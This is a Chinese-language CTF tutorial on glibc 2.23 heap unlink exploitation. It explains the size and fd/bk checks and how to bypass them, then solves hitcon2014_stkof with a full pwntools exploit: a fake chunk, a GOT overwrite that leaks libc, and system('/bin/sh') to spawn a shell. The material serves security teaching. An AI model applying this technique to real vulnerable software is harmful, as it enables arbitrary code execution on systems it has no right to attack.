0x01 正常unlink
當一個bin從記錄bin的雙向鏈表中被取下時,會觸發unlink,常見的比如:相鄰空閑bin進行合并,malloc_consolidate時,unlink的程序如下圖所示(來自CTFWIKI)主要包含3個步驟,就是這么簡單,
- 根據p的fd和bk獲得雙向鏈表的上一個chunk FD和下一個chunk BK
- 設定FD->bk=BK
- 設定BK->fd=FD

下面看一下unlink的原始碼,
#安裝原始碼
apt install glibc-source
#下面目錄下有一個glibc-2.23.tar.xz
/usr/src/glibc/
#可以拷貝到understand中進行原始碼閱讀
size檢查
第一個要檢查的是需要解鏈bin的size,在堆中有兩個地方存盤了p的size,第一個是當前p->size,第二個是next_chunk§->prev_size,比較兩個大小,
fd和bk檢查
檢查p是否在雙向鏈表中,在雙向鏈表中有兩個指標指向p,第一個是FD->bk,第二個是BK->fd,
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
//第一個檢查
if (__builtin_expect (chunksize(P) != (next_chunk(P))->prev_size, 0)) \
malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV); \
FD = P->fd; \
BK = P->bk; \
//第二個檢查
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
else { \
//完成上圖的unlink程序
//具體程序可以看原始碼
} \
}
0x02 利用思路
要利用unlink首先要繞過前面提到的兩個檢查,繞過size檢查需要可以修改下一個chunk->prev_size,繞過fd和bk檢查需要能夠控制fd和bk,
1.第一種利用思路
利用條件
- 存在UAF可以修改p的fd和bk
- 存在一個指標指向p
利用方法
- 通過UAF漏洞修改chunk0->fd=G_ptr-0x18,chunk0->bk=G_ptr-0x10,繞過fd和bk檢查
- free下一個chunk,chunk0和chunk1合并,chunk0發生unlink,修改了G_ptr的值
效果
修改G_ptr=&G_ptr-0x18,如果能夠對G_ptr指向的空間進行修改,則可能導致任意地址讀寫,

2.第二種方法思路
這種情況在做題中出現的情況比較多,因為malloc是回傳的指標如果存盤在bss段或者heap中則正好滿足利用條件2,
利用條件
- 可以修改p的下一個chunk->pre_size和inuse位
- 存在一個指標指向chunk p的內容部分
利用方法
- 偽造fake_chunk,fakechunk->size=chunk0-0x10,可以繞過size檢查,fakechunk->fd=&G_ptr-0x18,fakechunk->bk=&G_ptr-0x10,繞過fd和bk檢查,
- 修改下一個chunk的prev_size=chunksize§-0x10,因為fakechunk比chunk0小0x10,
- 修改下一個chunk的inuse位,
- free下一個堆塊chunk1,fakechunk和chunk1合并,fakechunk發生unlink,修改了G_ptr的值,
效果
修改G_ptr=&G_ptr-0x18,如果能夠對G_ptr指向的空間進行修改,則可能導致任意地址讀寫,

0x03 例題 hitcon2014_stkof
1.查看程式保護
可以修改GOT表,沒有PIE,很好,

試運行,沒有輸出,

2.查看程式
選單題只是沒有把選單列印出來,1是add,2是edit,3是free,4是todo沒有實際用途

add函式
add就是正常的add
- 讀入size
- malloc對應的size
- 0x602100記錄的是已經申請的note數量
- 0x602140是heaparray指標陣列

edit函式
沒有驗證輸入的size大小,存在heap overflow
- 輸入index
- 輸入size
- 輸入content

delete函式
- 將堆塊釋放
- 將陣列置0

3.利用方法
這里正好滿足第二種利用思路,bss段存在G_ptr指向堆的內容,且能修改下一個堆塊的prev_size和inuse位,
- 構造fakechunk來unlink使bss段中的堆指標指向附近
- 利用edit函式,修改函式指標指向free_got
- 修改free_got為put_plt,之后再呼叫free時就會輸出指標指向的內容來泄露libc地址
- 將free_got改為system地址
- 呼叫free函式釋放掉內容為"/bin/sh"的堆塊來getshell
這里還有一個問題就是緩沖區的問題,題目并沒有setbuf,所以IO緩沖區會在程式運行的時候在堆中進行申請,我們先連續創建3個0x20大小的chunk來查看堆疊排布情況,方便后續unlink操作,如下圖,第一個申請的堆塊并沒有和后面幾個連續分布,所以第一個堆塊不能用來做fakechunk,

創建堆塊
idx1用來解決IO快取的問題
idx2用來構造fakechunk和idx3來unlink
idx4用來防止和top chunk和并
head = 0x602140 #堆指標陣列
fd = head + 16 - 0x18
bk = head + 16 - 0x10
add(0x50) # idx 1
add(0x30) # idx 2
add(0x80) # idx 3
add(0x20) # idx 4
構造完成的堆空間分布

0x602100存盤了note數量
0x602140存盤了指標陣列,索引從1開始

構造fakechunk
如下圖,黃框為構造的fakechunk
payload1 = p64(0)+p64(0x30)+p64(fd)+p64(bk)
payload1 = payload1.ljust(0x30,b'A')
payload1 += p64(0x30) + p64(0x90)
edit(2, payload1)

unlink
釋放第3個堆塊,觸發unlink,0x602150中的指標已經指向bss段的空間當中,通過修改陣列中的指標來達到任意地址寫的目的

leak libc
將heaparray[1]指標覆寫為free_got,heaparray[2]指標覆寫為puts_got
free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload2 = b'a'*8+b'b'*8+p64(free_got)+p64(puts_got)
edit(2, payload2)

將free_got的值覆寫為puts_plt,下次呼叫free時實際呼叫的是puts
payload3 = p64(puts_plt)
edit(1, payload3)
free(2)#實際呼叫的是puts(puts_got)
puts_addr = u64(p.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
log.success('puts_addr:{}'.format(hex(puts_addr)))
log.success('system_addr :{}'.format(hex(system_addr)))
log.success('binsh_addr: {}'.format(hex(binsh_addr)))

getshell
修改free_got為system,并釋放內容為’/bin/sh’的堆塊來getshell,
payload4 = p64(system_addr)
edit(1, payload4)
edit(4, '/bin/sh\x00')
free(4)
p.interactive()

4.exp
from pwn import *
context.arch = 'amd64'
debug = 1
if debug:
context.log_level='debug'
context.terminal = ['terminator','-x','sh','-c']
p = process('./stkof')
elf = ELF('./stkof')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
p = remote('node3.buuoj.cn',28755)
elf = ELF('./stkof')
libc = ELF('/home/abel/pwn/libc/u16/x64libc-2.23.so')
def add(size):
p.sendline('1')
p.sendline(str(size))
p.recvuntil('OK\n')
def edit(idx, content):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(len(content)))
p.send(content)
p.recvuntil('OK\n')
def free(idx):
p.sendline('3')
p.sendline(str(idx))
head = 0x602140
fd = head + 16 - 0x18
bk = head + 16 - 0x10
add(0x50) # idx 1
add(0x30) # idx 2
add(0x80) # idx 3
add(0x20) # idx 4
payload1 = p64(0)+p64(0x30)+p64(fd)+p64(bk)
payload1 = payload1.ljust(0x30,b'A')
payload1 += p64(0x30) + p64(0x90)
edit(2, payload1)
free(3)
free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload2 = b'a'*8+b'b'*8+p64(free_got)+p64(puts_got)
edit(2, payload2)
payload3 = p64(puts_plt)
edit(1, payload3)
free(2)
p.recvuntil('OK\n')
puts_addr = u64(p.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
log.success('puts_addr:{}'.format(hex(puts_addr)))
log.success('system_addr :{}'.format(hex(system_addr)))
log.success('binsh_addr: {}'.format(hex(binsh_addr)))
payload4 = p64(system_addr)
edit(1, payload4)
edit(4, '/bin/sh\x00')
free(4)
p.interactive()
0x04 總結
- 當free時(不是fastbin)如果前面或者后面的chunk是空閑的,則會發生合并
- 如果此時存在G_ptr指向前面的chunk,并且存在覆寫的話可能存在unsafe_unlink
1.創造fakechunk,這里針對64位
presize=0
size= 原來size-0x10
fd=&G_ptr-0x18
bk=&G_ptr-0x10
2.覆寫下一個chunk
presize = 原pre_size-0x10
size從0x91改為0x90
3.觸發unlink
free(chunk1)
chunk1會和前面的chunk0進行合并,斷鏈
fake_chunk->bk->fd = fake_chunk->fd->bk
&G_ptr = &G_ptr-0x18
參考鏈接:ctfwiki unlink
轉載請註明出處,本文鏈接:https://www.uj5u.com/qianduan/215947.html
標籤:其他
